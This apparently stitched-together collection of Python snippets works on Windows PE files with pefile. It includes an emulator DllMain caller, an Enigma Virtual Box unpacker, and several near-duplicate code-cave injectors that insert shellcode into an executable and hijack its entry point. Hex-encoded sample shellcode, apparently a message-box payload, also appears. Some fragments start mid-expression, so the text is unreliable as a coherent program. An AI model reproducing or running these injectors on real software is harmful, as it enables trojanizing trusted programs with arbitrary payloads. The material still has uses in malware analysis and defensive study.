def call_dll_entrypoint(self, dll: pefile.PE, dll_base: int, dll_len: int, dll_name: str): entry_address = dll.OPTIONAL_HEADER.AddressOfEntryPoint if dll.get_section_by_rva(entry_address) is None: return if dll_name in ('kernelbase.dll', 'kernel32.dll'): self.ql.log.debug(f'Ignoring {dll_name} entry point') return # DllMain functions often call many APIs that may crash the program if they # are not implemented correctly (if at all). here we blacklist the problematic # DLLs whose DllMain functions are known to be crashing. # # the blacklist may be revisited from time to time to see if any of the file # can be safely unlisted. blacklist = { 32: ('gdi32.dll', ), 64: ('gdi32.dll', ) }[self.ql.arch.bits] if dll_name in blacklist: self.ql.log.debug(f'Ignoring {dll_name} entry point (blacklisted)') return entry_point = dll_base + entry_address exit_point = dll_base + dll_len - 16 args = ( (HINSTANCE, dll_base), # hinstDLL = base address of DLL (DWORD, 1), # fdwReason = DLL_PROCESS_ATTACH (LPVOID, 0) # lpReserved = 0 ) self.ql.log.info(f'Calling {dll_name} DllMain at {entry_point:#x}') regs_state = self.ql.arch.regs.save() fcall = self.ql.os.fcall_select(CDECL) fcall.call_native(entry_point, args, exit_point) # Execute the call to the entry point try: self.ql.emu_start(entry_point, exit_point) except UcError: self.ql.log.error( f'Error encountered while running {dll_name} DllMain, bailing') self.ql.arch.regs.restore(regs_state) else: fcall.cc.unwind(len(args)) self.ql.log.info(f'Returned from {dll_name} DllMain')
def main(exe_file, shellcode): if not (os.path.isfile(exe_file)): print( "\nExecutable file cant detected ! \n Please try with full path.\n" ) return False shellcode = shellcode.replace("\\x", "").decode("hex") pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize ) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva + padd) - 1 scode_size = len(shellcode) + 7 if padd < scode_size: print("\nEnough space is not available for shellcode") print("Available codecave len : {0} \n").format(covecavelenght(pe)) return False else: scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset( scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) shellcode = '\x60%s\x61\xe9%s' % (shellcode, pack('I', jmp_to & 0xffffffff)) final_data = list(raw_pe_data) final_data[scode_start_off:scode_start_off + len(shellcode)] = shellcode final_data = ''.join(final_data) raw_pe_data = final_data pe.close() while True: final_pe_file = "{0}".format(str(randint(0, 999999999))) if not os.path.isfile(final_pe_file): break new_file = open(final_pe_file, 'wb') new_file.write(raw_pe_data) new_file.close() print("\nNew file : {0} saved !").format(final_pe_file) print('[*] Job Done! :)')
def inject(): class NotEnoughSize(Exception): pass exe_file = res.BINARY final_pe_file = '{}_injected'.format(res.BINARY) shellcode = scode pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva( pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize ) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva + padd) - 1 scode_size = len(shellcode) + 7 if padd < scode_size: summary.append( logs.err('Not enough size for shellcode injection', prnt=False)) else: #logs.good('Found {} bytes of empty space'.format(padd)) scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset( scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) pusha = '\x60' popa = '\x61' shellcode = '%s%s%s\xe9%s' % (pusha, shellcode, popa, pack('I', jmp_to & 0xffffffff)) final_data = list(raw_pe_data) final_data[scode_start_off:scode_start_off + len(shellcode)] = shellcode final_data = ''.join(final_data) raw_pe_data = final_data pe.close() new_file = open(final_pe_file, 'wb') new_file.write(raw_pe_data) new_file.close() summary.append( logs.good('Succesfully injected shellcode', prnt=False))
def main( exe_file, shellcode): if not (os.path.isfile( exe_file)): print("\nExecutable file cant detected ! \n Please try with full path.\n") return False shellcode = shellcode.replace("\\x", "").decode("hex") pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva+padd) - 1 scode_size = len(shellcode)+7 if padd < scode_size: print("\nEnough space is not available for shellcode") print("Available codecave len : {0} \n").format( covecavelenght( pe)) return False else: scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off) shellcode = '\x60%s\x61\xe9%s' % (shellcode, pack('I', jmp_to & 0xffffffff)) final_data = list(raw_pe_data) final_data[scode_start_off:scode_start_off+len(shellcode)] = shellcode final_data = ''.join(final_data) raw_pe_data = final_data pe.close() while True: final_pe_file = "{0}".format(str(randint(0, 999999999))) if not os.path.isfile(final_pe_file): break new_file = open(final_pe_file, 'wb') new_file.write(raw_pe_data) new_file.close() print ("\nNew file : {0} saved !").format( final_pe_file) print ('[*] Job Done! :)')
+ "\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56" + "\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24" + "\x52\xe8\x5f\xff\xff\xff\x68\x72\x73\x58\x20\x68\x72\x63" + "\x68\x65\x68\x65\x73\x65\x61\x68\x75\x67\x20\x52\x68\x43" + "\x57\x2f\x42\x31\xdb\x88\x5c\x24\x12\x89\xe3\x68\x65\x72" + "\x65\x58\x68\x61\x73\x20\x48\x68\x45\x53\x20\x57\x31\xc9" + "\x88\x4c\x24\x0b\x89\xe1\x31\xd2\x6a\x10\x53\x51\x52\xff" + "\xd0\x31\xc0\x50\xff\x55\x08" ) if __name__ == "__main__": exe_file = raw_input("Enter Path To Exe File ") final_pe_file = raw_input("Enter Path To New Exe File: ") pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva + padd) - 1 scode_size = len(sample_shell_code) + 7 if padd < scode_size: # Enough space is not available for shellcode exit() # Code can be injected scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
"\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45" + "\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff" + "\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64" + "\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55" + "\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52\xe8" + "\x61\xff\xff\xff\x68\x21\x58\x20\x20\x68\x57\x30\x30\x74" + "\x31\xdb\x88\x5c\x24\x05\x89\xe3\x68\x65\x21\x58\x20\x68" + "\x20\x48\x65\x72\x68\x20\x57\x61\x73\x68\x73\x69\x73\x68" + "\x68\x44\x65\x62\x61\x31\xc9\x88\x4c\x24\x12\x89\xe1\x31" + "\xd2\x52\x53\x51\x52\xff\xd0") if __name__ == '__main__': exe_file = raw_input('[*] Enter full path of the main executable :') final_pe_file = raw_input('[*] Enter full path of the output executable :') pe = PE(exe_file) OEP = pe.OPTIONAL_HEADER.AddressOfEntryPoint pe_sections = pe.get_section_by_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint) align = pe.OPTIONAL_HEADER.SectionAlignment what_left = (pe_sections.VirtualAddress + pe_sections.Misc_VirtualSize) - pe.OPTIONAL_HEADER.AddressOfEntryPoint end_rva = pe.OPTIONAL_HEADER.AddressOfEntryPoint + what_left padd = align - (end_rva % align) e_offset = pe.get_offset_from_rva(end_rva+padd) - 1 scode_size = len(sample_shell_code)+7 if padd < scode_size: # Enough space is not available for shellcode exit() # Code can be injected scode_end_off = e_offset scode_start_off = scode_end_off - scode_size pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.get_rva_from_offset(scode_start_off) raw_pe_data = pe.write() jmp_to = OEP - pe.get_rva_from_offset(scode_end_off)
def restore_pe(file,output): # PEfile isn't the best for this job, but we'll get it done ;) # TODO : Recaluclate SizeOfImage to match the acutal file from pefile import PE,OPTIONAL_HEADER_MAGIC_PE_PLUS print('[-] Loading PE...') pe = PE(file,fast_load=True) PE64 = pe.PE_TYPE == OPTIONAL_HEADER_MAGIC_PE_PLUS pe.__data__ = bytearray(pe.__data__) # This allows us to apply slicing on the PE data # Helpers find_section = lambda name:next(filter(lambda x:name in x.Name,pe.sections)) find_data_directory = lambda name:next(filter(lambda x:name in x.name,pe.OPTIONAL_HEADER.DATA_DIRECTORY)) # Data enigma1 = pe.__data__[find_section(b'.enigma1').PointerToRawData:] hdr = unpack(EVB_ENIGMA1_HEADER,enigma1,104 if PE64 else 76) # Restore section with built-in offsets. All these ADDRESSes are VAs find_data_directory('IMPORT').VirtualAddress = hdr['IMPORT_ADDRESS'] find_data_directory('IMPORT').Size = hdr['IMPORT_SIZE'] find_data_directory('RELOC').VirtualAddress = hdr['RELOC_ADDRESS'] find_data_directory('RELOC').Size = hdr['RELOC_SIZE'] print('[-] Rebuilding Exception directory...') # Rebuild the exception directory exception_dir = find_data_directory('EXCEPTION') exception_raw_ptr = pe.get_offset_from_rva(exception_dir.VirtualAddress) exception_data = pe.__data__[exception_raw_ptr:exception_raw_ptr + exception_dir.Size] exception_struct = PE64_EXCEPTION if PE64 else PE_EXCEPTION exception_end = 0 for i in range(0,exception_dir.Size,get_size_by_struct(exception_struct)): block = unpack(exception_struct,exception_data[i:]) block['section'] = pe.get_section_by_rva(block['BEGIN_ADDRESS']) exception_end = i if b'.enigma' in block['section'].Name: break exception_data = exception_data[:exception_end] # Prepare partial TLS data for searching tls_dir = find_data_directory('TLS') tls_raw_ptr = pe.get_offset_from_rva(tls_dir.VirtualAddress) tls_data = bytearray(pe.__data__[tls_raw_ptr:tls_raw_ptr + tls_dir.Size]) original_callback = hdr['TLS_CALLBACK_RVA'] + pe.OPTIONAL_HEADER.ImageBase original_callback = struct.pack('<' + ('Q' if PE64 else 'I'),original_callback) if (PE64): tls_data += original_callback # AddressOfCallBacks else: tls_data[12:16] = original_callback # AddressOfCallBacks tls_data = tls_data[:16] # Destory .enigma* sections pe.__data__ = pe.__data__[:find_section(b'.enigma1').PointerToRawData] + pe.__data__[find_section(b'.enigma2').PointerToRawData + find_section(b'.enigma2').SizeOfRawData:] # If original program has a overlay, this will perserve it. Otherwise it's okay to remove them anyway. assert pe.sections.pop().Name == b'.enigma2' assert pe.sections.pop().Name == b'.enigma1' pe.FILE_HEADER.NumberOfSections -= 2 # NOTE: .enigma1 contains the VFS, as well as some Optional PE Header info as descrbied above # NOTE: .enigma2 is a aplib compressed loader DLL. You can decompress it with aplib provided in this repo if (exception_data): # Reassign the RVA & sizes print('[-] Rebuilt Exception directory. Size=0x%x' % len(exception_data)) # Find where this could be placed at...since EVB clears the original exception directory listings # PEs with overlays won't work at all if EVB packed them. # We must remove the sections and do NOT append anything new offset = 0 for section in pe.sections: offset_ = pe.__data__.find(b'\x00' * len(exception_data),section.PointerToRawData, section.PointerToRawData + section.SizeOfRawData) if offset_ > 0: # Check for references in the Optional Data Directory # The offset should not be referenced otherwise we would overwrite existing data for header in pe.OPTIONAL_HEADER.DATA_DIRECTORY: if pe.get_rva_from_offset(offset_) in range(header.VirtualAddress,header.VirtualAddress+header.Size): offset = 0 break else: offset = offset_ if offset > 0: break assert offset > 0,"Cannot place Exceptions Directory!" section = pe.get_section_by_rva(pe.get_rva_from_offset(offset)) print('[-] Found suitable section to place Exception Directory. Name=%s RVA=0x%x' % (section.Name.decode(),offset - section.PointerToRawData)) pe.__data__[offset:offset+len(exception_data)] = exception_data section.SizeOfRawData = max(section.SizeOfRawData,len(exception_data)) exception_dir.VirtualAddress = pe.get_rva_from_offset(offset) exception_dir.Size = len(exception_data) else: print('[-] Original program does not contain Exception Directory.') exception_dir.VirtualAddress = 0 exception_dir.Size = 0 offset = pe.__data__.find(tls_data) # Append the exception section and assign the pointers # Serach for TLS in memory map since it's not removed. tls_dir = find_data_directory('TLS') if (offset > 0): print('[-] TLS Directory found. Offset=0x%x' % offset) tls_dir.VirtualAddress = pe.get_rva_from_offset(offset) tls_dir.Size = 40 if PE64 else 24 else: print('[-] Original program does not utilize TLS.') tls_dir.VirtualAddress = 0 tls_dir.Size = 0 # Write to new file pe_name = os.path.basename(file)[:-4] + ORIGINAL_PE_SUFFIX pe_name = os.path.join(output,pe_name).replace('\\','/') new_file_data = pe.write() write_bytes(BytesIO(new_file_data),open(pe_name,'wb+'),len(new_file_data),desc='Saving PE') print('[-] Original PE saved:',pe_name)